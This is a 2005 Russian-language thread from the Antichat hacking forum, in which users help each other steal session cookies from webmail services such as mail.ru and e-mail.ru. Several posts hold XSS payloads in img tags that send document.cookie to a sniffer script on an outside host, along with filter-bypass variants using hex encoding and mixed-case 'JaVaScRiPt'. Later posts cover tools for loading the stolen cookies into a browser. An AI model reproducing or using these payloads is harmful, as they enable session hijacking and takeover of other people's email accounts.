Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Как можно получить куки ? |
04.06.2005, 00:23
|
|
Познающий
Регистрация: 03.06.2005
Сообщений: 39
Провел на форуме:
54724
Репутация:
0
|
|
Как можно получить куки ?
Запустил у себя на бесплатном хосте (hut.ru) сниффер на perl. Работает отлично - рефку присылает. Но проблема в том, что не получается пока с куками.
Понял, что для передачи куков нужно послать письмо в html формате с ява-скриптом:
<img src="javascript :img = new Image(); img.src = 'http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;">
В скрипте есть адресс сниффера. Потом с лога сниффера забираем файлы куки, а дальше работаем с
проксомитроном (или др. редактором куков).
Говорят, что снифер на бесплатном хостинге практически бесполезен...Так это или нет ?
Посоветуйте плиз, где у меня ошибка (можно в приват). Заранее благодарен, так как вижу, что этот вопрос интересует многих.
Последний раз редактировалось VARVAR; 04.06.2005 в 00:26..
|
|
|
04.06.2005, 00:42
|
|
[ розовый мафиозо ]
Регистрация: 16.03.2005
Сообщений: 301
Провел на форуме:
1736355
Репутация:
241
|
|
Фильтры на скрипты, теги, метасимволы.... Поэтому и не работает...=(
Последний раз редактировалось PinkPanther; 04.06.2005 в 00:52..
|
|
|
|
04.06.2005, 10:58
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме:
2263418
Репутация:
300
|
|
Говорят, что снифер на бесплатном хостинге практически бесполезен...Так это или нет ?
Почему ? раз работает, значит полезен 
|
|
|
|
04.06.2005, 18:36
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233
Репутация:
2726
|
|
Почему? Чтото непонял, у тебя что куки скрипту не передаются
|
|
|
|
04.06.2005, 19:14
|
|
Постоянный
Регистрация: 07.04.2004
Сообщений: 387
Провел на форуме:
293464
Репутация:
42
|
|
может быть не работает сам XSS в твоей почте:
<img src="javascript :">
Может браузер не поддерживает функц. Image().
попробуй по-порядку |
|
|
|
04.06.2005, 20:23
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233
Репутация:
2726
|
|
но это точно не изза бесплатного хостигна. скорее всего фильтрование со стороны клиента
|
|
|
|
04.06.2005, 21:34
|
|
Познающий
Регистрация: 03.06.2005
Сообщений: 39
Провел на форуме:
54724
Репутация:
0
|
|
PinkPanther оказался прав - ява скрипты просто блокируются. Но это можно обойти, используя шестнадцатиричные значения символов вместо javascript. Проверял на e-mail.ru.
<img src="javascript :img = new Image(); img.src = 'http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;">
Снифер выдал QUERY=b=b, рефка как и полагается пришла. Получается, что на e-mail.ru нет кукисов, а только одни сессии ?
На mail.ru такое дело не прокатывает. При вложении в html-код везде добавляется "X", изменяется заголовок.
<xtitle>Непонятный заголовок</xtitle>
</xhead>
<xbody>
<IMG src=xjavascript :document.images[0].src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;>
</xbody>
</xhtml>
Да, с бесплатным хостом все в порядке ! Разницы вроде нет платный-бесплатный.
Надо думать дальше насчет куков. Видимо надо пробовать вложения с рисунками и flash.
Последний раз редактировалось VARVAR; 04.06.2005 в 21:49..
|
|
|
|
04.06.2005, 22:26
|
|
Познающий
Регистрация: 30.05.2005
Сообщений: 38
Провел на форуме:
671877
Репутация:
4
|
|
http://forum.antichat.ru/showthread.php?p=43322
Здесь Майор писал рабочий на данный момент способ обхода фильтра для mail.ru.
В твоем случае это выглядит так:
<image src= JaVaScRiPt:document.images[0].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;>
Последний раз редактировалось Xattab; 04.06.2005 в 23:00..
|
|
|
|
05.06.2005, 11:40
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме:
2263418
Репутация:
300
|
|
Сообщение от VARVAR
Снифер выдал QUERY=b=b, рефка как и полагается пришла. Получается, что на e-mail.ru нет кукисов, а только одни сессии ?
ты прав
|
|
|
|
07.06.2005, 02:22
|
|
Познающий
Регистрация: 03.06.2005
Сообщений: 39
Провел на форуме:
54724
Репутация:
0
|
|
Thank you Майор & Xattab !
Интересно, а кто-нибудь юзал прогу Minibrowser v2.20 для подстановки куков. Очень интересная прога ! За исключением того, что не хочет открывать папки на mail.ru. На рамблере без проблем.
В принципе и Opera рулит, но не очень удобно делать подстановку снифф-куки.
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
